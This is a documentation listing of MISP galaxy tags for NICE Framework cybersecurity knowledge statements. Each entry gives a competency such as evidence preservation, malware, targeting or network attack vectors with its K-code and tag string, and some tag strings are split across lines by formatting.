Knowledge of digital evidence seizure policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence seizure policies and procedures - K0795"*

Knowledge of digital evidence preservation policies and procedures - K0796

Knowledge of digital evidence preservation policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence preservation policies and procedures - K0796"*

Knowledge of chain of custody policies and procedures - K0802

Knowledge of chain of custody policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of chain of custody policies and procedures - K0802"*

Knowledge of persistent data principles and practices - K0804

Knowledge of persistent data principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of persistent data principles and practices - K0804"*

Knowledge of system file characteristics - K0808

Knowledge of system file characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system file characteristics - K0808"*

Knowledge of event correlation tools and techniques - K0817

Knowledge of event correlation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of event correlation tools and techniques - K0817"*

Knowledge of data carving tools and techniques - K0850

Knowledge of data carving tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data carving tools and techniques - K0850"*

Knowledge of anti-forensics tools and techniques - K0852

Knowledge of anti-forensics tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of anti-forensics tools and techniques - K0852"*

Knowledge of forensics lab design principles and practices - K0853

Knowledge of forensics lab design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of forensics lab design principles and practices - K0853"*

Knowledge of forensics lab design systems and software - K0854

Knowledge of forensics lab design systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of forensics lab design systems and software - K0854"*

Knowledge of debugging tools and techniques - K0855

Knowledge of debugging tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of debugging tools and techniques - K0855"*

Knowledge of filename extension abuse - K0856

Knowledge of filename extension abuse

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of filename extension abuse - K0856"*

Knowledge of binary analysis tools and techniques - K0914

Knowledge of binary analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of binary analysis tools and techniques - K0914"*

Knowledge of code obfuscation tools and techniques - K1016

Knowledge of code obfuscation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of code obfuscation tools and techniques - K1016"*

Knowledge of media forensics - K1091

Knowledge of media forensics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of media forensics - K1091"*

Knowledge of digital forensics tools and techniques - K1092

Knowledge of digital forensics tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital forensics tools and techniques - K1092"*

Knowledge of Chain of Custody (CoC) processes and procedures - K1115

Knowledge of Chain of Custody (CoC) processes and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Chain of Custody (CoC) processes and procedures - K1115"*

Knowledge of data integrity principles and practices - K1147

Knowledge of data integrity principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data integrity principles and practices - K1147"*

Knowledge of digital evidence cataloging tools and techniques - K1151

Knowledge of digital evidence cataloging tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence cataloging tools and techniques - K1151"*

Knowledge of digital evidence extraction tools and techniques - K1152

Knowledge of digital evidence extraction tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence extraction tools and techniques - K1152"*

Knowledge of digital evidence handling principles and practices - K1153

Knowledge of digital evidence handling principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence handling principles and practices - K1153"*

Knowledge of digital evidence packaging tools and techniques - K1154

Knowledge of digital evidence packaging tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence packaging tools and techniques - K1154"*

Knowledge of digital evidence preservation tools and techniques - K1155

Knowledge of digital evidence preservation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital evidence preservation tools and techniques - K1155"*

Knowledge of forensic image processing tools and techniques - K1163

Knowledge of forensic image processing tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of forensic image processing tools and techniques - K1163"*

Knowledge of network monitoring tools and techniques - K1175

Knowledge of network monitoring tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network monitoring tools and techniques - K1175"*

Knowledge of wireless applications vulnerabilities - K0375

Knowledge of wireless applications vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of wireless applications vulnerabilities - K0375"*

Knowledge of malware - K0480

Knowledge of malware

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of malware - K0480"*

Knowledge of decryption - K0635

Knowledge of decryption

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of decryption - K0635"*

Knowledge of decryption tools and techniques - K0636

Knowledge of decryption tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of decryption tools and techniques - K0636"*

Knowledge of data repositories - K0637

Knowledge of data repositories

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data repositories - K0637"*

Knowledge of network collection tools and techniques - K0656

Knowledge of network collection tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network collection tools and techniques - K0656"*

Knowledge of network collection policies and procedures - K0657

Knowledge of network collection policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network collection policies and procedures - K0657"*

Knowledge of encryption algorithm capabilities and applications - K0697

Knowledge of encryption algorithm capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of encryption algorithm capabilities and applications - K0697"*

Knowledge of data backup and recovery policies and procedures - K0701

Knowledge of data backup and recovery policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data backup and recovery policies and procedures - K0701"*

Knowledge of data warehousing principles and practices - K0702

Knowledge of data warehousing principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data warehousing principles and practices - K0702"*

Knowledge of data mining principles and practices - K0703

Knowledge of data mining principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data mining principles and practices - K0703"*

Knowledge of information management tools and techniques - K0775

Knowledge of information management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information management tools and techniques - K0775"*

Knowledge of physical computer components - K0786

Knowledge of physical computer components

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of physical computer components -*

K0786"

Knowledge of computer peripherals - K0787

Knowledge of computer peripherals

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of computer peripherals - K0787"*

Knowledge of machine virtualization tools and techniques - K0806

Knowledge of machine virtualization tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of machine virtualization tools and techniques - K0806"*

Knowledge of deployable forensics principles and practices - K0810

Knowledge of deployable forensics principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of deployable forensics principles and practices - K0810"*

Knowledge of intelligence collection management processes - K0815

Knowledge of intelligence collection management processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection management processes - K0815"*

Knowledge of virtual machine detection tools and techniques - K0858

Knowledge of virtual machine detection tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of virtual machine detection tools and techniques - K0858"*

Knowledge of data mining tools and techniques - K0953

Knowledge of data mining tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data mining tools and techniques*

- K0953"

Knowledge of auditing policies and procedures - K0970

Knowledge of auditing policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of auditing policies and procedures - K0970"*

Knowledge of logging policies and procedures - K0971

Knowledge of logging policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of logging policies and procedures - K0971"*

Knowledge of software application vulnerabilities - K0975

Knowledge of software application vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software application vulnerabilities - K0975"*

Knowledge of active defense tools and techniques - K0988

Knowledge of active defense tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of active defense tools and techniques - K0988"*

Knowledge of database administration principles and practices - K0991

Knowledge of database administration principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database administration principles and practices - K0991"*

Knowledge of database maintenance principles and practices - K0992

Knowledge of database maintenance principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of database maintenance principles and practices - K0992"*

Knowledge of deconfliction processes - K0993

Knowledge of deconfliction processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of deconfliction processes - K0993"*

Knowledge of Wireless Local Area Network (WLAN) tools and techniques - K0998

Knowledge of Wireless Local Area Network (WLAN) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Wireless Local Area Network (WLAN) tools and techniques - K0998"*

Knowledge of information management principles and practices - K0999

Knowledge of information management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information management principles and practices - K0999"*

Knowledge of evasion principles and practices - K1000

Knowledge of evasion principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of evasion principles and practices - K1000"*

Knowledge of evasion tools and techniques - K1001

Knowledge of evasion tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of evasion tools and techniques - K1001"*

Knowledge of network topology principles and practices - K1015

Knowledge of network topology principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network topology principles and practices - K1015"*

Knowledge of network exploitation tools and techniques - K1023

Knowledge of network exploitation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network exploitation tools and techniques - K1023"*

Knowledge of partnership policies and procedures - K1024

Knowledge of partnership policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of partnership policies and procedures - K1024"*

Knowledge of satellite-based communication systems and software - K1032

Knowledge of satellite-based communication systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of satellite-based communication systems and software - K1032"*

Knowledge of digital forensics principles and practices - K1055

Knowledge of digital forensics principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital forensics principles and practices - K1055"*

Knowledge of virtual machine tools and technologies - K1069

Knowledge of virtual machine tools and technologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of virtual machine tools and technologies - K1069"*

Knowledge of exploitation tools and techniques - K1085

Knowledge of exploitation tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of exploitation tools and techniques - K1085"*

Knowledge of remote command line tools and techniques - K1102

Knowledge of remote command line tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of remote command line tools and techniques - K1102"*

Knowledge of Graphic User Interface (GUI) tools and techniques - K1103

Knowledge of Graphic User Interface (GUI) tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Graphic User Interface (GUI) tools and techniques - K1103"*

Knowledge of Internet and routing protocols - K0470

Knowledge of Internet and routing protocols

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Internet and routing protocols - K0470"*

Knowledge of targeting cycles - K0551

Knowledge of targeting cycles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting cycles - K0551"*

Knowledge of intelligence fusion - K0655

Knowledge of intelligence fusion

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence fusion - K0655"*

Knowledge of intrusion detection tools and techniques - K0732

Knowledge of intrusion detection tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intrusion detection tools and techniques - K0732"*

Knowledge of web mail tools and techniques - K0807

Knowledge of web mail tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of web mail tools and techniques - K0807"*

Knowledge of front-end intelligence collection systems and software - K0816

Knowledge of front-end intelligence collection systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of front-end intelligence collection systems and software - K0816"*

Knowledge of cyber attack stages - K0844

Knowledge of cyber attack stages

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber attack stages - K0844"*

Knowledge of cyber intrusion activity phases - K0845

Knowledge of cyber intrusion activity phases

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber intrusion activity phases - K0845"*

Knowledge of malware signature principles and practices - K0860

Knowledge of malware signature principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of malware signature principles and practices - K0860"*

Knowledge of system persistence tools and techniques - K0973

Knowledge of system persistence tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system persistence tools and techniques - K0973"*

Knowledge of intelligence collection development processes - K0974

Knowledge of intelligence collection development processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection development processes - K0974"*

Knowledge of intelligence collection management tools and techniques - K0977

Knowledge of intelligence collection management tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection management tools and techniques - K0977"*

Knowledge of information searching tools and techniques - K0979

Knowledge of information searching tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information searching tools and techniques - K0979"*

Knowledge of intelligence collection sources - K0980

Knowledge of intelligence collection sources

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection sources - K0980"*

Knowledge of target selection criticality factors - K0986

Knowledge of target selection criticality factors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target selection criticality factors - K0986"*

Knowledge of target selection vulnerability factors - K0987

Knowledge of target selection vulnerability factors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target selection vulnerability*

factors - K0987"

Knowledge of reporting policies and procedures - K1004

Knowledge of reporting policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of reporting policies and procedures - K1004"*

Knowledge of midpoint collection principles and practices - K1013

Knowledge of midpoint collection principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of midpoint collection principles and practices - K1013"*

Knowledge of scripting principles and practices - K1033

Knowledge of scripting principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of scripting principles and practices - K1033"*

Knowledge of target intelligence gathering tools and techniques - K1041

Knowledge of target intelligence gathering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target intelligence gathering tools and techniques - K1041"*

Knowledge of target selection policies and procedures - K1042

Knowledge of target selection policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target selection policies and procedures - K1042"*

Knowledge of terminal collection - K1046

Knowledge of terminal collection

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of terminal collection - K1046"*

Knowledge of environmental collection - K1047

Knowledge of environmental collection

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of environmental collection - K1047"*

Knowledge of non-attributable networks - K1105

Knowledge of non-attributable networks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of non-attributable networks - K1105"*

Knowledge of traceroute tools and techniques - K1108

Knowledge of traceroute tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of traceroute tools and techniques - K1108"*

Knowledge of organizational objectives - K1187

Knowledge of organizational objectives

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational objectives - K1187"*

Knowledge of supply chain risk management practices - K1221

Knowledge of supply chain risk management practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supply chain risk management practices - K1221"*

Knowledge of target requirements - K1231

Knowledge of target requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target requirements - K1231"*

Knowledge of cognitive biases - K0658

Knowledge of cognitive biases

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cognitive biases - K0658"*

Knowledge of adversarial tactics principles and practices - K0788

Knowledge of adversarial tactics principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of adversarial tactics principles and practices - K0788"*

Knowledge of adversarial tactics tools and techniques - K0789

Knowledge of adversarial tactics tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of adversarial tactics tools and techniques - K0789"*

Knowledge of adversarial tactics policies and procedures - K0790

Knowledge of adversarial tactics policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of adversarial tactics policies and procedures - K0790"*

Knowledge of analytic standards and frameworks Skill in assigning analytical confidence ratings - K0968

Knowledge of analytic standards and frameworks Skill in assigning analytical confidence ratings

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of analytic standards and frameworks Skill in assigning analytical confidence ratings - K0968"*

Knowledge of intelligence information repositories - K0989

Knowledge of intelligence information repositories

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence information repositories - K0989"*

Knowledge of denial and deception tools and techniques - K0994

Knowledge of denial and deception tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of denial and deception tools and techniques - K0994"*

Knowledge of supervisory control and data acquisition (SCADA) systems and software - K1002

Knowledge of supervisory control and data acquisition (SCADA) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supervisory control and data acquisition (SCADA) systems and software - K1002"*

Knowledge of intelligence collection capabilities and applications - K1005

Knowledge of intelligence collection capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection capabilities and applications - K1005"*

Knowledge of intelligence requirements tasking systems and software - K1007

Knowledge of intelligence requirements tasking systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence requirements tasking systems and software - K1007"*

Knowledge of intelligence policies and procedures - K1010

Knowledge of intelligence policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence policies and procedures - K1010"*

Knowledge of request for information processes - K1059

Knowledge of request for information processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of request for information processes - K1059"*

Knowledge of threat systems and software - K1068

Knowledge of threat systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat systems and software - K1068"*

Knowledge of targeting databases - K1106

Knowledge of targeting databases

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting databases - K1106"*

Knowledge of targeting systems and software - K1107

Knowledge of targeting systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting systems and software - K1107"*

Knowledge of priority intelligence requirements - K1197

Knowledge of priority intelligence requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of priority intelligence requirements - K1197"*

Knowledge of dynamic targeting principles and practices - K0995

Knowledge of dynamic targeting principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of dynamic targeting principles and practices - K0995"*

Knowledge of deliberate targeting principles and practices - K0996

Knowledge of deliberate targeting principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of deliberate targeting principles and practices - K0996"*

Knowledge of targeting governing authorities - K1003

Knowledge of targeting governing authorities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting governing authorities - K1003"*

Knowledge of intelligence cycle principles and practices - K1006

Knowledge of intelligence cycle principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence cycle principles and practices - K1006"*

Knowledge of malware characteristics - K1012

Knowledge of malware characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of malware characteristics - K1012"*

Knowledge of target estimated recovery times - K1040

Knowledge of target estimated recovery times

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target estimated recovery times - K1040"*

Knowledge of Request For Information (RFI) processes - K1064

Knowledge of Request For Information (RFI) processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Request For Information (RFI) processes - K1064"*

Knowledge of geospatial data analysis tools and techniques - K1104

Knowledge of geospatial data analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of geospatial data analysis tools and techniques - K1104"*

Knowledge of information sanitization methods - K1167

Knowledge of information sanitization methods

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information sanitization methods - K1167"*

Knowledge of targeting products - K1232

Knowledge of targeting products

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting products - K1232"*

Knowledge of target characteristics - K1043

Knowledge of target characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target characteristics - K1043"*

Knowledge of collection data flow from origin into repositories and tools - K1051

Knowledge of collection data flow from origin into repositories and tools

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of collection data flow from origin into repositories and tools - K1051"*

Knowledge of classification guidelines - K1116

Knowledge of classification guidelines

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of classification guidelines - K1116"*

Knowledge of network components - K1174

Knowledge of network components

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network components - K1174"*

Knowledge of black-box software testing - K1093

Knowledge of black-box software testing

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of black-box software testing - K1093"*

Knowledge of customer requirements - K1128

Knowledge of customer requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of customer requirements - K1128"*

Knowledge of evaluation and validation principles and practices - K0711

Knowledge of evaluation and validation principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of evaluation and validation principles and practices - K0711"*

Knowledge of industry cybersecurity models and frameworks - K0879

Knowledge of industry cybersecurity models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of industry cybersecurity models and frameworks - K0879"*

Knowledge of access control models and frameworks - K0880

Knowledge of access control models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of access control models and frameworks - K0880"*

Knowledge of circuit analysis tools and techniques - K0883

Knowledge of circuit analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of circuit analysis tools and techniques - K0883"*

Knowledge of organizational security posture - K1191

Knowledge of organizational security posture

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational security posture - K1191"*

Knowledge of information technology (IT) architecture models and frameworks - K0733

Knowledge of information technology (IT) architecture models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information technology (IT) architecture models and frameworks - K0733"*

Knowledge of technology procurement principles and practices - K0834

Knowledge of technology procurement principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of technology procurement principles and practices - K0834"*

Knowledge of cyber defense laws and regulations - K0892

Knowledge of cyber defense laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cyber defense laws and regulations - K0892"*

Knowledge of targeting laws and regulations - K0962

Knowledge of targeting laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of targeting laws and regulations - K0962"*

Knowledge of exploitation laws and regulations - K0963

Knowledge of exploitation laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of exploitation laws and regulations - K0963"*

Knowledge of critical information requirements - K1050

Knowledge of critical information requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of critical information requirements*

- K1050"

Knowledge of data security controls - K1077

Knowledge of data security controls

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data security controls - K1077"*

Knowledge of data privacy controls - K1084

Knowledge of data privacy controls

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data privacy controls - K1084"*

Knowledge of configuration management principles and practices - K1122

Knowledge of configuration management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of configuration management principles and practices - K1122"*

Knowledge of security requirements - K1213

Knowledge of security requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security requirements - K1213"*

Knowledge of systems architecture - K1227

Knowledge of systems architecture

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems architecture - K1227"*

Knowledge of systems development - K1228

Knowledge of systems development

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems development - K1228"*

Knowledge of system administration principles and practices - K0770

Knowledge of system administration principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system administration principles*

and practices - K0770"

Knowledge of hardening tools and techniques - K0837

Knowledge of hardening tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hardening tools and techniques - K0837"*

Knowledge of learning assessment tools and techniques - K0881

Knowledge of learning assessment tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of learning assessment tools and techniques - K0881"*

Knowledge of Extensible Markup Language (XML) schemas - K0176

Knowledge of Extensible Markup Language (XML) schemas

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Extensible Markup Language (XML) schemas - K0176"*

Knowledge of digital forensic data principles and practices - K0696

Knowledge of digital forensic data principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital forensic data principles and practices - K0696"*

Knowledge of hardware maintenance policies and procedures - K0780

Knowledge of hardware maintenance policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hardware maintenance policies and procedures - K0780"*

Knowledge of network configurations - K0792

Knowledge of network configurations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network configurations - K0792"*

Knowledge of ethical hacking tools and techniques - K0797

Knowledge of ethical hacking tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of ethical hacking tools and techniques - K0797"*

Knowledge of digital forensics data characteristics - K0809

Knowledge of digital forensics data characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital forensics data characteristics - K0809"*

Knowledge of digital communication systems and software - K0812

Knowledge of digital communication systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of digital communication systems and software - K0812"*

Knowledge of middleware software capabilities and applications - K0841

Knowledge of middleware software capabilities and applications

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of middleware software capabilities and applications - K0841"*

Knowledge of ethical hacking principles and practices - K0882

Knowledge of ethical hacking principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of ethical hacking principles and practices - K0882"*

Knowledge of covert communication tools and techniques - K0884

Knowledge of covert communication tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of covert communication tools and techniques - K0884"*

Knowledge of operating system structures and internals - K0923

Knowledge of operating system structures and internals

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operating system structures and internals - K0923"*

Knowledge of network analysis tools and techniques - K0924

Knowledge of network analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network analysis tools and techniques - K0924"*

Knowledge of wireless communication tools and techniques - K0925

Knowledge of wireless communication tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of wireless communication tools and techniques - K0925"*

Knowledge of signal jamming tools and techniques - K0926

Knowledge of signal jamming tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of signal jamming tools and techniques - K0926"*

Knowledge of network hardware threats and vulnerabilities - K0936

Knowledge of network hardware threats and vulnerabilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network hardware threats and vulnerabilities - K0936"*

Knowledge of operations security (OPSEC) principles and practices - K1019

Knowledge of operations security (OPSEC) principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operations security (OPSEC) principles and practices - K1019"*

Knowledge of hardware asset management principles and practices - K1073

Knowledge of hardware asset management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of hardware asset management principles and practices - K1073"*

Knowledge of mission requirements - K1172

Knowledge of mission requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of mission requirements - K1172"*

Knowledge of reverse engineering tools and techniques - K1207

Knowledge of reverse engineering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of reverse engineering tools and techniques - K1207"*

Knowledge of software and sytems engineering life cycle standards - K1217

Knowledge of software and sytems engineering life cycle standards

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software and sytems engineering life cycle standards - K1217"*

Knowledge of operational planning processes - K0498

Knowledge of operational planning processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of operational planning processes - K0498"*

Knowledge of cybersecurity operation policies and procedures - K0644

Knowledge of cybersecurity operation policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity operation policies and procedures - K0644"*

Knowledge of data asset management principles and practices - K0766

Knowledge of data asset management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of data asset management principles and practices - K0766"*

Knowledge of insider threat laws and regulations - K0784

Knowledge of insider threat laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat laws and regulations - K0784"*

Knowledge of insider threat tools and techniques - K0785

Knowledge of insider threat tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of insider threat tools and techniques - K0785"*

Knowledge of project management principles and practices - K0799

Knowledge of project management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of project management principles and practices - K0799"*

Knowledge of evidence admissibility laws and regulations - K0800

Knowledge of evidence admissibility laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of evidence admissibility laws and regulations - K0800"*

Knowledge of new and emerging cybersecurity risks - K0818

Knowledge of new and emerging cybersecurity risks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of new and emerging cybersecurity risks - K0818"*

Knowledge of import and export control laws and regulations - K0819

Knowledge of import and export control laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of import and export control laws and regulations - K0819"*

Knowledge of federal agency roles and responsibilities - K0821

Knowledge of federal agency roles and responsibilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of federal agency roles and responsibilities - K0821"*

Knowledge of threat vector characteristics - K0825

Knowledge of threat vector characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of threat vector characteristics - K0825"*

Knowledge of network attack vectors - K0831

Knowledge of network attack vectors

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of network attack vectors - K0831"*

